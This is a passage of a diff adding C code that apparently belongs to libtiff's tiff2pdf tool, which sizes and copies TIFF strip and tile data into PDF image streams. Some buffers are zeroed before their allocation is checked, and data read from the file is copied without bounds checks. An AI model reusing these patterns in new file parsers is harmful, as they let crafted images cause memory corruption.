+		t2p->tiff_primarychromaticities[2]=xfloatp[2];
+		t2p->tiff_primarychromaticities[3]=xfloatp[3];
+		t2p->tiff_primarychromaticities[4]=xfloatp[4];
+		t2p->tiff_primarychromaticities[5]=xfloatp[5];
+		if(t2p->pdf_colorspace & T2P_CS_RGB){
+			t2p->pdf_colorspace |= T2P_CS_CALRGB;
+		}
+	}
+	if(t2p->pdf_colorspace & T2P_CS_LAB){
+		if(TIFFGetField(input, TIFFTAG_WHITEPOINT, &xfloatp) != 0){
+			t2p->tiff_whitechromaticities[0]=xfloatp[0];
+			t2p->tiff_whitechromaticities[1]=xfloatp[1];
+		} else {
+			t2p->tiff_whitechromaticities[0]=0.3457F; /* 0.3127F; */
+			t2p->tiff_whitechromaticities[1]=0.3585F; /* 0.3290F; */
+		}
+	}
+	if(TIFFGetField(input, 
+		TIFFTAG_ICCPROFILE, 
+		&(t2p->tiff_iccprofilelength), 
+		&(t2p->tiff_iccprofile))!=0){
+		t2p->pdf_colorspace |= T2P_CS_ICCBASED;
+	} else {
+		t2p->tiff_iccprofilelength=0;
+		t2p->tiff_iccprofile=NULL;
+	}
+	
+#ifdef CCITT_SUPPORT
+	if( t2p->tiff_bitspersample==1 &&
+		t2p->tiff_samplesperpixel==1){
+		t2p->pdf_compression = T2P_COMPRESS_G4;
+	}
+#endif
+
+
+	return;
+}
+
+/*
+	This function returns the necessary size of a data buffer to contain the raw or 
+	uncompressed image data from the input TIFF for a page.
+*/
+
+void t2p_read_tiff_size(T2P* t2p, TIFF* input){
+
+	uint32* sbc=NULL;
+#if defined(JPEG_SUPPORT) || defined (OJPEG_SUPPORT)
+	unsigned char* jpt=NULL;
+	uint16 xuint16=0;
+	tstrip_t i=0;
+	tstrip_t stripcount=0;
+#endif
+#ifdef OJPEG_SUPPORT
+        tsize_t k = 0;
+#endif
+
+	if(t2p->pdf_transcode == T2P_TRANSCODE_RAW){
+#ifdef CCITT_SUPPORT
+		if(t2p->pdf_compression == T2P_COMPRESS_G4 ){
+			TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc);
+			t2p->tiff_datasize=sbc[0];
+			return;
+		}
+#endif
+#ifdef ZIP_SUPPORT
+		if(t2p->pdf_compression == T2P_COMPRESS_ZIP){
+			TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc);
+			t2p->tiff_datasize=sbc[0];
+			return;
+		}
+#endif
+#ifdef OJPEG_SUPPORT
+		if(t2p->tiff_compression == COMPRESSION_OJPEG){
+			if(!TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc)){
+				TIFFError(TIFF2PDF_MODULE, 
+					"Input file %s missing field: TIFFTAG_STRIPBYTECOUNTS",
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return;
+			}
+			stripcount=TIFFNumberOfStrips(input);
+			for(i=0;i<stripcount;i++){
+				k += sbc[i];
+			}
+			if(TIFFGetField(input, TIFFTAG_JPEGIFOFFSET, &(t2p->tiff_dataoffset))){
+				if(t2p->tiff_dataoffset != 0){
+					if(TIFFGetField(input, TIFFTAG_JPEGIFBYTECOUNT, &(t2p->tiff_datasize))!=0){
+						if(t2p->tiff_datasize < k) {
+							t2p->pdf_ojpegiflength=t2p->tiff_datasize;
+							t2p->tiff_datasize+=k;
+							t2p->tiff_datasize+=6;
+							t2p->tiff_datasize+=2*stripcount;
+							TIFFWarning(TIFF2PDF_MODULE, 
+								"Input file %s has short JPEG interchange file byte count", 
+								TIFFFileName(input));
+							return;
+						}
+						return;
+					}else {
+						TIFFError(TIFF2PDF_MODULE, 
+							"Input file %s missing field: TIFFTAG_JPEGIFBYTECOUNT",
+							TIFFFileName(input));
+							t2p->t2p_error = T2P_ERR_ERROR;
+							return;
+					}
+				}
+			}
+			t2p->tiff_datasize+=k;
+			t2p->tiff_datasize+=2*stripcount;
+			t2p->tiff_datasize+=2048;
+			return;
+		}
+#endif
+#ifdef JPEG_SUPPORT
+		if(t2p->tiff_compression == COMPRESSION_JPEG){
+			if(TIFFGetField(input, TIFFTAG_JPEGTABLES, &xuint16, &jpt) != 0 ){
+				if(xuint16>4){
+					t2p->tiff_datasize+= xuint16;
+					t2p->tiff_datasize -=2; /* don't use EOI of header */
+				}
+			} else {
+				t2p->tiff_datasize=2; /* SOI for first strip */
+			}
+			stripcount=TIFFNumberOfStrips(input);
+			if(!TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc)){
+				TIFFError(TIFF2PDF_MODULE, 
+					"Input file %s missing field: TIFFTAG_STRIPBYTECOUNTS",
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return;
+			}
+			for(i=0;i<stripcount;i++){
+				t2p->tiff_datasize += sbc[i];
+				t2p->tiff_datasize -=4; /* don't use SOI or EOI of strip */
+			}
+			t2p->tiff_datasize +=2; /* use EOI of last strip */
+		}
+#endif
+		(void) 0;
+	}
+	t2p->tiff_datasize=TIFFScanlineSize(input) * t2p->tiff_length;
+	if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){
+		t2p->tiff_datasize*= t2p->tiff_samplesperpixel;
+	}
+
+	return;
+}
+
+/*
+	This function returns the necessary size of a data buffer to contain the raw or 
+	uncompressed image data from the input TIFF for a tile of a page.
+*/
+
+void t2p_read_tiff_size_tile(T2P* t2p, TIFF* input, ttile_t tile){
+
+	uint32* tbc = NULL;
+	uint16 edge=0;
+#ifdef JPEG_SUPPORT
+	uint16 xuint16=0;
+	unsigned char* jpt;
+#endif
+
+	edge |= t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile);
+	edge |= t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile);
+	
+	if(t2p->pdf_transcode==T2P_TRANSCODE_RAW){
+		if(edge
+#if defined(JPEG_SUPPORT) || defined(OJPEG_SUPPORT)
+		&& !(t2p->pdf_compression==T2P_COMPRESS_JPEG)
+#endif
+		){
+			t2p->tiff_datasize=TIFFTileSize(input);
+			return;
+		} else {
+			TIFFGetField(input, TIFFTAG_TILEBYTECOUNTS, &tbc);
+			t2p->tiff_datasize=tbc[tile];
+#ifdef OJPEG_SUPPORT
+			if(t2p->tiff_compression==COMPRESSION_OJPEG){
+				t2p->tiff_datasize+=2048;
+				return;
+			}
+#endif
+#ifdef JPEG_SUPPORT
+			if(t2p->tiff_compression==COMPRESSION_JPEG){
+				if(TIFFGetField(input, TIFFTAG_JPEGTABLES, &xuint16, &jpt)!=0){
+					if(xuint16>4){
+						t2p->tiff_datasize+=xuint16;
+						t2p->tiff_datasize-=4; /* don't use EOI of header or SOI of tile */
+					}
+				}
+			}
+#endif
+			return;
+		}
+	}
+	t2p->tiff_datasize=TIFFTileSize(input);
+	if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){
+		t2p->tiff_datasize*= t2p->tiff_samplesperpixel;
+	}
+
+	return;
+}
+
+/*
+	This functions returns a non-zero value when the tile is on the right edge 
+	and does not have full imaged tile width.
+*/
+
+int t2p_tile_is_right_edge(T2P_TILES tiles, ttile_t tile){
+
+	if( ((tile+1) % tiles.tiles_tilecountx == 0) 
+		&& (tiles.tiles_edgetilewidth != 0) ){
+		return(1);
+	} else {
+		return(0);
+	}
+	
+	return(0);
+	
+}
+
+/*
+	This functions returns a non-zero value when the tile is on the bottom edge 
+	and does not have full imaged tile length.
+*/
+
+int t2p_tile_is_bottom_edge(T2P_TILES tiles, ttile_t tile){
+
+	if( ((tile+1) > (tiles.tiles_tilecount-tiles.tiles_tilecountx) )
+		&& (tiles.tiles_edgetilelength != 0) ){
+		return(1);
+	} else {
+		return(0);
+	}
+	
+	return(0);
+}
+
+/*
+	This function returns a non-zero value when the tile is a right edge tile or a bottom 
+	edge tile.
+*/
+
+int t2p_tile_is_edge(T2P_TILES tiles, ttile_t tile){
+
+	return(t2p_tile_is_right_edge(tiles, tile) | t2p_tile_is_bottom_edge(tiles, tile) );
+}
+
+/*
+	This function returns a non-zero value when the tile is a right edge tile and a bottom 
+	edge tile.
+*/
+
+int t2p_tile_is_corner_edge(T2P_TILES tiles, ttile_t tile){
+
+	return(t2p_tile_is_right_edge(tiles, tile) & t2p_tile_is_bottom_edge(tiles, tile) );
+}
+
+/*
+	This function is an empty (dummy) TIFFReadWriteProc that returns the amount 
+	requested to be read without reading anything.
+*/
+
+tsize_t t2p_empty_readproc(thandle_t fd, tdata_t buf, tsize_t size){
+
+	(void) fd; (void) buf; (void) size;
+
+	return (size);
+}
+
+/*
+	This function is an empty (dummy) TIFFReadWriteProc that returns the amount 
+	requested to be written without writing anything.
+*/
+
+tsize_t t2p_empty_writeproc(thandle_t fd, tdata_t buf, tsize_t size){
+
+	(void) fd; (void) buf; (void) size;
+
+	return (size);
+}
+
+/*
+	This function is an empty (dummy) TIFFSeekProc that returns off.
+*/
+
+toff_t t2p_empty_seekproc(thandle_t fd, toff_t off, int whence){
+	
+	(void) fd; (void) off; (void) whence;
+
+	return( off );
+}
+
+/*
+	This function is an empty (dummy) TIFFCloseProc that returns 0.
+*/
+
+int t2p_empty_closeproc(thandle_t fd){
+	
+	(void) fd;
+	
+	return(0);
+}
+
+
+/*
+	This function reads the raster image data from the input TIFF for an image and writes 
+	the data to the output PDF XObject image dictionary stream.  It returns the amount written 
+	or zero on error.
+*/
+
+tsize_t t2p_readwrite_pdf_image(T2P* t2p, TIFF* input, TIFF* output){
+
+	tsize_t written=0;
+	unsigned char* buffer=NULL;
+	unsigned char* samplebuffer=NULL;
+	tsize_t bufferoffset=0;
+	tsize_t samplebufferoffset=0;
+	tsize_t read=0;
+	tstrip_t i=0;
+	tstrip_t j=0;
+	tstrip_t stripcount=0;
+	tsize_t stripsize=0;
+	tsize_t sepstripcount=0;
+	tsize_t sepstripsize=0;
+#ifdef OJPEG_SUPPORT
+	toff_t inputoffset=0;
+	uint16 h_samp=1;
+	uint16 v_samp=1;
+	uint16 ri=1;
+	uint32 rows=0;
+#endif
+#ifdef JPEG_SUPPORT
+	unsigned char* jpt;
+	uint16 xuint16_1=0;
+	uint16 xuint16_2=0;
+	float* xfloatp;
+	uint32* sbc;
+	unsigned char* stripbuffer;
+	tsize_t striplength=0;
+	uint32 max_striplength=0;
+#endif
+
+	if(t2p->pdf_transcode == T2P_TRANSCODE_RAW){
+#ifdef CCITT_SUPPORT
+		if(t2p->pdf_compression == T2P_COMPRESS_G4){
+			buffer= (unsigned char*) _TIFFmalloc(t2p->tiff_datasize);
+			if(buffer==NULL){
+				TIFFError(TIFF2PDF_MODULE, 
+					"Can't allocate %u bytes of memory for t2p_readwrite_pdf_image, %s", 
+					t2p->tiff_datasize, 
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return(0);
+			}
+			TIFFReadRawStrip(input, 0, (tdata_t) buffer, t2p->tiff_datasize);
+			if (t2p->tiff_fillorder==FILLORDER_LSB2MSB){
+					/* make sure is lsb-to-msb bit-endianness fill order */
+					TIFFReverseBits(buffer, t2p->tiff_datasize);
+			}
+			TIFFWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize);
+			_TIFFfree(buffer);
+			return(t2p->tiff_datasize);
+		}
+#endif
+#ifdef ZIP_SUPPORT
+		if(t2p->pdf_compression == T2P_COMPRESS_ZIP){
+			buffer= (unsigned char*) _TIFFmalloc(t2p->tiff_datasize);
+                        memset(buffer, 0, t2p->tiff_datasize);
+			if(buffer==NULL){
+				TIFFError(TIFF2PDF_MODULE, 
+					"Can't allocate %u bytes of memory for t2p_readwrite_pdf_image, %s", 
+					t2p->tiff_datasize, 
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return(0);
+			}
+			TIFFReadRawStrip(input, 0, (tdata_t) buffer, t2p->tiff_datasize);
+			if (t2p->tiff_fillorder==FILLORDER_LSB2MSB){
+					TIFFReverseBits(buffer, t2p->tiff_datasize);
+			}
+			TIFFWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize);
+			_TIFFfree(buffer);
+			return(t2p->tiff_datasize);
+		}
+#endif
+#ifdef OJPEG_SUPPORT
+		if(t2p->tiff_compression == COMPRESSION_OJPEG){
+
+			if(t2p->tiff_dataoffset != 0){
+				buffer= (unsigned char*) _TIFFmalloc(t2p->tiff_datasize);
+                                memset(buffer, 0, t2p->tiff_datasize);
+				if(buffer==NULL){
+					TIFFError(TIFF2PDF_MODULE, 
+						"Can't allocate %u bytes of memory for t2p_readwrite_pdf_image, %s", 
+						t2p->tiff_datasize, 
+						TIFFFileName(input));
+					t2p->t2p_error = T2P_ERR_ERROR;
+					return(0);
+				}
+				if(t2p->pdf_ojpegiflength==0){
+					inputoffset=TIFFSeekFile(input, 0, SEEK_CUR);
+					TIFFSeekFile(input, t2p->tiff_dataoffset, SEEK_SET);
+					TIFFReadFile(input, (tdata_t) buffer, t2p->tiff_datasize);
+					TIFFSeekFile(input, inputoffset, SEEK_SET);
+					TIFFWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize);
+					_TIFFfree(buffer);
+					return(t2p->tiff_datasize);
+				} else {
+					inputoffset=TIFFSeekFile(input, 0, SEEK_CUR);
+					TIFFSeekFile(input, t2p->tiff_dataoffset, SEEK_SET);
+					bufferoffset=TIFFReadFile(input, (tdata_t) buffer, t2p->pdf_ojpegiflength);
+					t2p->pdf_ojpegiflength=0;
+					TIFFSeekFile(input, inputoffset, SEEK_SET);
+					TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &h_samp, &v_samp);
+					buffer[bufferoffset++]= 0xff;
+					buffer[bufferoffset++]= 0xdd;
+					buffer[bufferoffset++]= 0x00;
+					buffer[bufferoffset++]= 0x04;
+					h_samp*=8;
+					v_samp*=8;
+					ri=(t2p->tiff_width+h_samp-1) / h_samp;
+					TIFFGetField(input, TIFFTAG_ROWSPERSTRIP, &rows);
+					ri*=(rows+v_samp-1)/v_samp;
+					buffer[bufferoffset++]= (ri>>8) & 0xff;
+					buffer[bufferoffset++]= ri & 0xff;
+					stripcount=TIFFNumberOfStrips(input);
+					for(i=0;i<stripcount;i++){
+						if(i != 0 ){ 
+							buffer[bufferoffset++]=0xff;
+							buffer[bufferoffset++]=(0xd0 | ((i-1)%8));
+						}
+						bufferoffset+=TIFFReadRawStrip(input, 
+							i, 
+							(tdata_t) &(((unsigned char*)buffer)[bufferoffset]), 
+							-1);
+					}
+					TIFFWriteFile(output, (tdata_t) buffer, bufferoffset);
+					_TIFFfree(buffer);
+					return(bufferoffset);
+				}
+			} else {
+				if(! t2p->pdf_ojpegdata){
+					TIFFError(TIFF2PDF_MODULE, 
+						"No support for OJPEG image %s with bad tables", 
+						TIFFFileName(input));
+					t2p->t2p_error = T2P_ERR_ERROR;
+					return(0);
+				}
+				buffer=(unsigned char*) _TIFFmalloc(t2p->tiff_datasize);
+                                memset(buffer, 0, t2p->tiff_datasize);
+				if(buffer==NULL){
+					TIFFError(TIFF2PDF_MODULE, 
+						"Can't allocate %u bytes of memory for t2p_readwrite_pdf_image, %s", 
+						t2p->tiff_datasize, 
+						TIFFFileName(input));
+					t2p->t2p_error = T2P_ERR_ERROR;
+					return(0);
+				}
+				_TIFFmemcpy(buffer, t2p->pdf_ojpegdata, t2p->pdf_ojpegdatalength);
+				bufferoffset=t2p->pdf_ojpegdatalength;
+				stripcount=TIFFNumberOfStrips(input);
+				for(i=0;i<stripcount;i++){
+					if(i != 0){
+						buffer[bufferoffset++]=0xff;
+						buffer[bufferoffset++]=(0xd0 | ((i-1)%8));
+					}
+					bufferoffset+=TIFFReadRawStrip(input, 
+						i, 
+						(tdata_t) &(((unsigned char*)buffer)[bufferoffset]), 
+						-1);
+				}
+				if( ! ( (buffer[bufferoffset-1]==0xd9) && (buffer[bufferoffset-2]==0xff) ) ){
+						buffer[bufferoffset++]=0xff;
+						buffer[bufferoffset++]=0xd9;
+				}
+				TIFFWriteFile(output, (tdata_t) buffer, bufferoffset);
+				_TIFFfree(buffer);
+				return(bufferoffset);
+				TIFFError(TIFF2PDF_MODULE, 
+					"No support for OJPEG image %s with no JPEG File Interchange offset", 
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return(0);
+			}
+			return(t2p->tiff_datasize);
+		}
+#endif
+#ifdef JPEG_SUPPORT
+		if(t2p->tiff_compression == COMPRESSION_JPEG){
+			buffer= (unsigned char*) _TIFFmalloc(t2p->tiff_datasize);
+                        memset(buffer, 0, t2p->tiff_datasize);
+			if(buffer==NULL){
+				TIFFError(TIFF2PDF_MODULE, 
+					"Can't allocate %u bytes of memory for t2p_readwrite_pdf_image, %s", 
+					t2p->tiff_datasize, 
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return(0);
+			}
+			if(TIFFGetField(input, TIFFTAG_JPEGTABLES, &xuint16_1, &jpt) != 0){
+				if(xuint16_1>4){
+					_TIFFmemcpy(buffer, jpt, xuint16_1);
+					bufferoffset+=xuint16_1-2;
+				}
+			}
+			stripcount=TIFFNumberOfStrips(input);
+			TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc);
+			for(i=0;i<stripcount;i++){
+				if(sbc[i]>max_striplength) max_striplength=sbc[i];
+			}
+			stripbuffer=(unsigned char*) _TIFFmalloc(max_striplength);
+			if(stripbuffer==NULL){
+				TIFFError(TIFF2PDF_MODULE, 
+					"Can't allocate %u bytes of memory for t2p_readwrite_pdf_image, %s", 
+					max_striplength, 
+					TIFFFileName(input));
+				_TIFFfree(buffer);
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return(0);
+			}
+			for(i=0;i<stripcount;i++){
+				striplength=TIFFReadRawStrip(input, i, (tdata_t) stripbuffer, -1);
+				if(!t2p_process_jpeg_strip(
+					stripbuffer, 
+					&striplength, 
+					buffer, 
+					&bufferoffset, 
+					i, 
+					t2p->tiff_length)){
+						TIFFError(TIFF2PDF_MODULE, 
+							"Can't process JPEG data in input file %s", 
+							TIFFFileName(input));
+						_TIFFfree(samplebuffer);
+						_TIFFfree(buffer);
+						t2p->t2p_error = T2P_ERR_ERROR;
+						return(0);
+				}
+			}
+			buffer[bufferoffset++]=0xff; 
+			buffer[bufferoffset++]=0xd9;
+			TIFFWriteFile(output, (tdata_t) buffer, bufferoffset);
+			_TIFFfree(stripbuffer);
+			_TIFFfree(buffer);
+			return(bufferoffset);
+		}
+#endif
+		(void)0;
+	}
+
+	if(t2p->pdf_sample==T2P_SAMPLE_NOTHING){
+		buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize);
+                memset(buffer, 0, t2p->tiff_datasize);
+		if(buffer==NULL){
+			TIFFError(TIFF2PDF_MODULE, 
+				"Can't allocate %u bytes of memory for t2p_readwrite_pdf_image, %s", 
+				t2p->tiff_datasize, 
+				TIFFFileName(input));
+			t2p->t2p_error = T2P_ERR_ERROR;
+			return(0);
+		}
+		stripsize=TIFFStripSize(input);
+		stripcount=TIFFNumberOfStrips(input);
+		for(i=0;i<stripcount;i++){
+			read = 
+				TIFFReadEncodedStrip(input, 
+				i, 
+				(tdata_t) &buffer[bufferoffset], 
+				stripsize);
+			if(read==-1){
+				TIFFError(TIFF2PDF_MODULE, 
+					"Error on decoding strip %u of %s", 
+					i, 
+					TIFFFileName(input));
+				_TIFFfree(buffer);
+				t2p->t2p_error=T2P_ERR_ERROR;
+				return(0);
+			}
+			bufferoffset+=read;
+		}
+	} else {
+		if(t2p->pdf_sample & T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG){
+		
+			sepstripsize=TIFFStripSize(input);
+			sepstripcount=TIFFNumberOfStrips(input);
+		
+			stripsize=sepstripsize*t2p->tiff_samplesperpixel;
+			stripcount=sepstripcount/t2p->tiff_samplesperpixel;
+			
+			buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize);
+                        memset(buffer, 0, t2p->tiff_datasize);
+			if(buffer==NULL){
+				TIFFError(TIFF2PDF_MODULE, 
+					"Can't allocate %u bytes of memory for t2p_readwrite_pdf_image, %s", 
+					t2p->tiff_datasize, 
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return(0);
+			}
+			samplebuffer = (unsigned char*) _TIFFmalloc(stripsize);
+			if(samplebuffer==NULL){
+				TIFFError(TIFF2PDF_MODULE, 
+					"Can't allocate %u bytes of memory for t2p_readwrite_pdf_image, %s", 
+					t2p->tiff_datasize, 
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return(0);
+			}
+			for(i=0;i<stripcount;i++){
+				samplebufferoffset=0;
+				for(j=0;j<t2p->tiff_samplesperpixel;j++){
+					read = 
+						TIFFReadEncodedStrip(input, 
+							i + j*stripcount, 
+							(tdata_t) &(samplebuffer[samplebufferoffset]), 
+							sepstripsize);
+					if(read==-1){
+						TIFFError(TIFF2PDF_MODULE, 
+							"Error on decoding strip %u of %s", 
+							i + j*stripcount, 
+							TIFFFileName(input));
+							_TIFFfree(buffer);
+						t2p->t2p_error=T2P_ERR_ERROR;
+						return(0);
+					}
+					samplebufferoffset+=read;
+				}
+				t2p_sample_planar_separate_to_contig(
+					t2p,
+					&(buffer[bufferoffset]),
+					samplebuffer, 
+					samplebufferoffset); 
+				bufferoffset+=samplebufferoffset;
+			}
+			_TIFFfree(samplebuffer);
+			goto dataready;
+		}
+
+		buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize);
+                memset(buffer, 0, t2p->tiff_datasize);
+		if(buffer==NULL){
+			TIFFError(TIFF2PDF_MODULE, 
+				"Can't allocate %u bytes of memory for t2p_readwrite_pdf_image, %s", 
+				t2p->tiff_datasize, 
+				TIFFFileName(input));
+			t2p->t2p_error = T2P_ERR_ERROR;
+			return(0);
+		}
+		stripsize=TIFFStripSize(input);
+		stripcount=TIFFNumberOfStrips(input);
+		for(i=0;i<stripcount;i++){
+			read = 
+				TIFFReadEncodedStrip(input, 
+				i, 
+				(tdata_t) &buffer[bufferoffset], 
+				stripsize);
+			if(read==-1){
+				TIFFError(TIFF2PDF_MODULE, 
+					"Error on decoding strip %u of %s", 
+					i, 
+					TIFFFileName(input));
+				_TIFFfree(samplebuffer);
+				_TIFFfree(buffer);
+				t2p->t2p_error=T2P_ERR_ERROR;
+				return(0);
+			}
+			bufferoffset+=read;
+		}
+
+		if(t2p->pdf_sample & T2P_SAMPLE_REALIZE_PALETTE){
+			samplebuffer=(unsigned char*)_TIFFrealloc( 
+				(tdata_t) buffer, 
+				t2p->tiff_datasize * t2p->tiff_samplesperpixel);
+			if(samplebuffer==NULL){
+				TIFFError(TIFF2PDF_MODULE, 
+					"Can't allocate %u bytes of memory for t2p_readwrite_pdf_image, %s", 
+					t2p->tiff_datasize, 
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+			  _TIFFfree(buffer);
+			} else {
+				buffer=samplebuffer;
+				t2p->tiff_datasize *= t2p->tiff_samplesperpixel;
+			}
+			t2p_sample_realize_palette(t2p, buffer);
+		}
+
+		if(t2p->pdf_sample & T2P_SAMPLE_RGBA_TO_RGB){
+			t2p->tiff_datasize=t2p_sample_rgba_to_rgb(
+				(tdata_t)buffer, 
+				t2p->tiff_width*t2p->tiff_length);
+		}
+
+		if(t2p->pdf_sample & T2P_SAMPLE_RGBAA_TO_RGB){
+			t2p->tiff_datasize=t2p_sample_rgbaa_to_rgb(
+				(tdata_t)buffer, 
+				t2p->tiff_width*t2p->tiff_length);
+		}
+
+		if(t2p->pdf_sample & T2P_SAMPLE_YCBCR_TO_RGB){
+			samplebuffer=(unsigned char*)_TIFFrealloc(
+				(tdata_t)buffer, 
+				t2p->tiff_width*t2p->tiff_length*4);
+			if(samplebuffer==NULL){
+				TIFFError(TIFF2PDF_MODULE, 
+					"Can't allocate %u bytes of memory for t2p_readwrite_pdf_image, %s", 
+					t2p->tiff_datasize, 
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				_TIFFfree(buffer);
+				return(0);
+			} else {
+				buffer=samplebuffer;
+			}
+			if(!TIFFReadRGBAImageOriented(
+				input, 
+				t2p->tiff_width, 
+				t2p->tiff_length, 
+				(uint32*)buffer, 
+				ORIENTATION_TOPLEFT,
+				0)){
+				TIFFError(TIFF2PDF_MODULE, 
+					"Can't use TIFFReadRGBAImageOriented to extract RGB image from %s", 
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return(0);
+			}
+			t2p->tiff_datasize=t2p_sample_abgr_to_rgb(
+				(tdata_t) buffer, 
+				t2p->tiff_width*t2p->tiff_length);
+
+		}
+
+		if(t2p->pdf_sample & T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED){
+			t2p->tiff_datasize=t2p_sample_lab_signed_to_unsigned(
+				(tdata_t)buffer, 
+				t2p->tiff_width*t2p->tiff_length);
+		}
+	}
+
+	dataready:
+
+	t2p->tiff_writeproc=output->tif_writeproc;
+	output->tif_writeproc=t2p_empty_writeproc;
+
+	TIFFSetField(output, TIFFTAG_PHOTOMETRIC, t2p->tiff_photometric);
+	TIFFSetField(output, TIFFTAG_BITSPERSAMPLE, t2p->tiff_bitspersample);
+	TIFFSetField(output, TIFFTAG_SAMPLESPERPIXEL, t2p->tiff_samplesperpixel);
+	TIFFSetField(output, TIFFTAG_IMAGEWIDTH, t2p->tiff_width);
+	TIFFSetField(output, TIFFTAG_IMAGELENGTH, t2p->tiff_length);
+	TIFFSetField(output, TIFFTAG_ROWSPERSTRIP, t2p->tiff_length);
+	TIFFSetField(output, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);
+	TIFFSetField(output, TIFFTAG_FILLORDER, FILLORDER_MSB2LSB);
+
+	switch(t2p->pdf_compression){
+	case T2P_COMPRESS_NONE:
+		TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_NONE);
+		break;
+#ifdef CCITT_SUPPORT
+	case T2P_COMPRESS_G4:
+		TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_CCITTFAX4);
+		break;
+#endif
+#ifdef JPEG_SUPPORT
+	case T2P_COMPRESS_JPEG:
+		if(t2p->tiff_photometric==PHOTOMETRIC_YCBCR){
+			if(TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &xuint16_1, &xuint16_2)!=0){
+				if(xuint16_1 != 0 && xuint16_2 != 0){
+					TIFFSetField(output, TIFFTAG_YCBCRSUBSAMPLING, xuint16_1, xuint16_2);
+				}
+			}
+			if(TIFFGetField(input, TIFFTAG_REFERENCEBLACKWHITE, &xfloatp)!=0){
+				TIFFSetField(output, TIFFTAG_REFERENCEBLACKWHITE, xfloatp);
+			}
+		}
+		if(TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_JPEG)==0){
+			TIFFError(TIFF2PDF_MODULE, 
+				"Unable to use JPEG compression for input %s and output %s", 
+				TIFFFileName(input),
+				TIFFFileName(output));
+			_TIFFfree(buffer);
+			t2p->t2p_error = T2P_ERR_ERROR;
+			return(0);
+		}
+		TIFFSetField(output, TIFFTAG_JPEGTABLESMODE, 0);
+
+		if(t2p->pdf_colorspace & (T2P_CS_RGB | T2P_CS_LAB)){
+			TIFFSetField(output, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR);
+			if(t2p->tiff_photometric != PHOTOMETRIC_YCBCR){
+				TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB);
+			} else {
+				TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RAW);
+			}
+		}
+		if(t2p->pdf_colorspace & T2P_CS_GRAY){
+			(void)0;
+		}
+		if(t2p->pdf_colorspace & T2P_CS_CMYK){
+			(void)0;
+		}
+		if(t2p->pdf_defaultcompressionquality != 0){
+			TIFFSetField(output, 
+				TIFFTAG_JPEGQUALITY, 
+				t2p->pdf_defaultcompressionquality);
+		}
+	
+		break;
+#endif
+#ifdef ZIP_SUPPORT
+	case T2P_COMPRESS_ZIP:
+		TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_DEFLATE);
+		if(t2p->pdf_defaultcompressionquality%100 != 0){
+			TIFFSetField(output, 
+				TIFFTAG_PREDICTOR, 
+				t2p->pdf_defaultcompressionquality % 100);
+		}
+		if(t2p->pdf_defaultcompressionquality/100 != 0){
+			TIFFSetField(output, 
+				TIFFTAG_ZIPQUALITY, 
+				(t2p->pdf_defaultcompressionquality / 100));
+		}
+		break;
+#endif
+	default:
+		break;
+	}
+	
+	output->tif_writeproc=t2p->tiff_writeproc;
+#ifdef JPEG_SUPPORT
+	if(t2p->pdf_compression==T2P_COMPRESS_JPEG && t2p->tiff_photometric==PHOTOMETRIC_YCBCR){
+		bufferoffset=TIFFWriteEncodedStrip(output, (tstrip_t)0, buffer,stripsize*stripcount); 
+	} else
+#endif
+	bufferoffset=TIFFWriteEncodedStrip(output, (tstrip_t)0, buffer, t2p->tiff_datasize); 
+	if(buffer != NULL){
+		_TIFFfree(buffer);
+		buffer=NULL;
+	}
+
+	if(bufferoffset==(tsize_t)-1){
+		TIFFError(TIFF2PDF_MODULE, 
+			"Error writing encoded strip to output PDF %s", 
+			TIFFFileName(output));
+		t2p->t2p_error = T2P_ERR_ERROR;
+		return(0);
+	}
+	
+	written= output->tif_dir.td_stripbytecount[0];
+	
+	return(written);
+}
+
+/*
+	This function reads the raster image data from the input TIFF for an image tile and writes 
+	the data to the output PDF XObject image dictionary stream for the tile.  It returns the 
+	amount written or zero on error.
+*/
+
+tsize_t t2p_readwrite_pdf_image_tile(T2P* t2p, TIFF* input, TIFF* output, ttile_t tile){
+
+	uint16 edge=0;
+	tsize_t written=0;
+	unsigned char* buffer=NULL;
+	tsize_t bufferoffset=0;
+	unsigned char* samplebuffer=NULL;
